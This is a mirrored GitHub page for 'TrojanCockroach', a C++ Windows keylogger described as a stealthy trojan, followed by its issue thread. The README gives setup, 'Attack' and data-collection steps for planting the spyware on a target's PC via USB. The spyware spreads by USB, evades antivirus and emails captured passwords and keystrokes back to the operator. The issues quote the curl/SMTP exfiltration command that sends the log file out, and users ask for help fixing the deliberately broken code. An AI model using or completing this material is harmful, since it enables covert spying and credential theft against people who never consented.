GithubHelp home page GithubHelp logo

minhaskamal / trojancockroach Goto Github PK

View Code? Open in Web Editor NEW
901.0 64.0 246.0 1.15 MB

A Stealthy Trojan Spyware

License: MIT License

C++ 100.00%
spyware virus trojan keylogger pendrive trojan-cockroach cpp fud malware

trojancockroach's Introduction

Trojan Cockroach

Donate

A Stealthy Trojan Spyware

You are looking at a Trojan Virus that steals data (ID, password; every key stroke) from PC (Windows XP or later), then emails them back to you. It spreads among PCs through USB drives, and is almost undetectable to any antivirus software.

Created only for learning purpose.

Intro

  • TrojanCockroach.cpp- logs user's data, sends data through Transmit.exe, infects portable drive.
  • Infect.cpp- installs the virus into computer from portable drive.
  • Transmit.exe- emails data back.
  • TrojanCockroach.lnk- resides in the startup folder of PC and activates TrojanCockroach.exe.
  • Infect.lnk- takes different attractive names in the infected portable drive, activates Infect.exe when clicked.
  • DecodeMessage.cpp- used to decode received email.

Setup

  1. Preparation
    1. Download the full package from here.

    2. Change the method sendData() of TrojanCockroach.cpp- place your email and password in the command.
      change email address

    3. Compile TrojanCockroach.cpp & Infect.cpp. Transmit.exe is actually the executable distribution of curl for Windows.

    4. Place TrojanCockroach.exe, Infect.exe, Transmit.exe, Infect.lnk & TrojanCockroach.lnk in the same folder. This is how they look-
      Trojan Cockroach full package

    5. Now run TrojanCockroach.exe then insert a pendrive (see the magic!). You will get a hidden folder and link file in your pendrive. The hidden folder contains the full package, & the link file is actually renamed form of Infect.lnk.
      Trojan Cockroach infected pendrive

  2. Attack
    1. Insert the USB-Drive in the subject's PC (Yes, you have to start the spreading process from somewhere!). Run Infect.lnk and the spyware will be injected.

    2. The syware will be activated after a reboot. Now (after a restart) every time any USB-Drive is inserted in the affected PC, the virus will copy itself in that, and the cycle will start again.

  3. Data Collection
    1. You need to wait several days (depending on the number of power on/off of the PC), before getting any data.

    2. After getting the email copy the full message to a text file.
      Trojan Cockroach infected pendrive
      As the message has come through email certain characters are converted. To resolve that --- --- ---.

    3. Now, run DecodeMessage.exe for decoding the message as plain text.
      Trojan Cockroach infected pendrive
      In this phase, you can look for specific patterns in the text, and thus get rid of most of the useless parts (like- mouse click, or same key-group press as happens during gaming).

Further

You may read TrojanCockroachStory to get an overview of how the program works. You will get a clearer understanding of the project from its pre-project- StupidKeyLogger.

The project is perfectly runnable. However, I do not want newbies to abuse my project. So, I am keeping some simple secrets unrevealed. There are also some intentionally created holes in this 'README'. I have made some nonsense changes in the code too; so that- no one can run it effectively without getting his hands dirty. I believe these plain obstacles can easily be overcome by ACTUAL PROGRAMMERS :)

Note: I will not also take any responsibility of someone else's ill act with this program. But I do believe that a real learner will learn a lot from this.

License

MIT License
Trojan Cockroach is licensed under MIT License.

trojancockroach's People

Contributors

minhaskamal avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

trojancockroach's Issues

Characters until Email is sent

I was reviewing and studying the code, but I couldn't find the code that says how many characters or time it takes to send the email.

Help

So im not into programming and stuff but i like penetration testing and this has been csught my eye and i would appreciate if anybody would like to help me fix README.md . Thanks forward ( for learing only )

Google account update

Greetings, Google updated it's "less secure app access" and now data will no longer be emailed to your inbox. Do you recommend a different service of email to use in order for this program to successfully work?

Transmit.exe source code?

Why haven't you uploaded the source code of Transmit.exe? It would be dangerous for someone to use it without having the source code.

Windows

This app cant run on your pc
find a version for your pc, check with software publisher

Not an issue

I wanted to thank you for all your hard work. I thought this was just a normal hacking project. But after fixing the deliberate errors and improving the program a bit, I stopped modifying it and forgot about the project. But 4 weeks later, when I plugged a usb key into my computer, it got infected :). This proves to be a really stealthy trojan (I have avast).
However, I have a small question. Why does the program contain random generation things that seem useless?
Example:

srand(time(0));
int random = rand();

if(random%2==0 || random%3==0 || random%7==0){
	return ;
}

return; // :) Compile issue and programme not working

i got complie issue while compiling then i removed the return; // :) thrn tried to compile ...it got compiled the programme later i ran the programme according to instruction... and plugged the USB ...no file in USb and no email.

new in programming and

Infection of the system itself

After running TrojanCockroach.exe my PC has infected. After the fixes. When you run TrojanCockroach.exe the computer becomes infected along with the USB drive.
Is this behavior normal? I thought I'd open a prompt waiting for a removable drive.

Help to find the issue

Hello Guys!
I am a starter and i could not find the issue.
I would be happy if someone could help me :D

cant compile

I'm a beginner I've been trying to do this for weeks now and can't figure it out can someone help me out?

image
image
image

Infect.lnk does not copy itself

I compiled all the cpps and placed all the files in one folder as shown in the pictures. Then I ran trojancockroach.exe. In the USB drive I can see one folder named "TrojanCockroach" but I do not see any other file besides that (the shortcut is missing).

Another issue is that the shortcut "trojancockroach.lnk" does not copy itself to the startup folder.

I am using Windows 7 in VMware to test this program.

Hidden files not showing

I am a newbie and just got to c++ like a month ago, does anyone know why the hidden files are not showing? I have fixed the // from the infect.cpp and all other stuff that I spot. The application is running and I have inserted my pen drive, I also turned on show hidden files from Windows. But still no luck.

Intentional Errors

  • DecodeMessage.cpp: The initial declaration of char* ch; is unnecessary.
  • DecodeMessage.cpp: The return ch; statement inside the else block is misleading and doesn't make sense.
  • Infect.cpp: There is an intentional return; statement after the line char driveLetter = getRemovableDisk();, which would prevent the execution of the following code.
  • Same error in TrojanCockroach.cpp: return 0; statement after the line char driveLetter = getRemovableDisk();
  • There are intentional comments like return; // :) and return; // :) in several places in the code that don't serve any practical purpose
  • In the Infect.cpp file, several parts of the code related to file copying and hiding seem to be intentionally disabled, making the logic incomplete.

Question About Trojan

Ive good a few questions:
1.) when you run the trojan is there a possible way to deactivate it? (It should appear in the task manager right?)
2.) about the :) . Im fairly new to c++ (starting in september) and from what i know so far is that after the... you know should it be 1?
3.)how did you learn all the thing about the windows.h library

Code error

When i try to compile the .cpp files it shows [{
"resource": "/c:/Users/User1/3D Objects/TrojanCockroach-master/com/minhaskamal/trojanCockroach/TrojanCockroach.cpp",
"owner": "cpptools",
"severity": 8,
"message": "return-statement with no value, in function returning 'int' [-fpermissive]",
"source": "gcc",
"startLineNumber": 72,
"startColumn": 5,
"endLineNumber": 72,
"endColumn": 5
}]
and
[{
"resource": "/c:/Users/Luis/3D Objects/TrojanCockroach-master/com/minhaskamal/trojanCockroach/TrojanCockroach.cpp",
"owner": "cpptools",
"severity": 4,
"message": "address of local variable 'randomName' returned [-Wreturn-local-addr]",
"source": "gcc",
"startLineNumber": 311,
"startColumn": 12,
"endLineNumber": 311,
"endColumn": 12
}]

Please fix this

Functional Question

TrojanCockroach.cpp- logs user's data, sends data through Transmit.exe, infects portable drive.
Well that's the intro. And may i know what "user's data" actually reference to? What data will be recored and send through Transmit.exe?
Please explain this to me, Thanks.

How does the senddata() work?

I was trying to get a grasp of the code and learn about it, when I encountered the following snippet:
char* command = "Transmit smtp://smtp.gmail.com:587 -v --mail-from \"[email protected]\" --mail-rcpt \"[email protected]\" --ssl -u [email protected]:password -T \"Record.log\" -k --anyauth";

Can anyone explain how it works and what it does or recommend a link that explains it.

Got a question

I know the basics and a little advanced c++ but I was wondering how do I learn the windows.h library or how did you learn it?

The code does not compile

could u please tell me ,which software you choose to compile the code....
u can see, i am a newbies and want to get my hand dirty....

hole in readme

may i know the meaning of hole in readme?it confused me a lot.i try various way to ensure the hidden file appear in pendrive but negative. can someone help me?

Soft fork for starters

Not really a fan of "keeping some simple secrets unrevealed" broken configuration for the project.

Can someone create a fork with the "nonsense changes in the code" removed or pointed out much easily or clearly.

NEW CODE

can someone send me the new code please ?

Could not compile

when I am trying to compile TrojanCockroach.cpp , it throws error

C:\Users\Ishwar\Downloads\trojanCockroach> g++ TrojanCockroach.cpp
TrojanCockroach.cpp: In function 'int main()': TrojanCockroach.cpp:72:5: error: return-statement with no value, in function returning 'int' [-fpermissive] return; // :)

TrojanCockroach.cpp: In function 'void sendData()': TrojanCockroach.cpp:141:21: warning: deprecated conversion from string constant to 'char*' [-Wwrite-strings] char* command = "Transmit smtp://smtp.gmail.com:587 -v --mail-from "[email protected]" --mail-rcpt "[email protected]" --ssl -u [email protected]:password -T "Record.log" -k --anyauth"; ^

TrojanCockroach.cpp: In function 'char* getRandomName()': TrojanCockroach.cpp:272:10: warning: address of local variable 'randomName' returned [-Wreturn-local-addr] char randomName[40];

Further Information

I have read your open source about this spyware.
Thank you very much !
The code is clear and helpful.
Can you show me the open source of the file Transmit.exe, you can update to the project, can't you ?

Suggestion

@MinhasKamal, I suggest to create a brand new github repo, since Transmit.exe is still downloadable from the commit of deletion.
As you can see Here, everyone has access to the first version of this repo

Transmit.exe

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.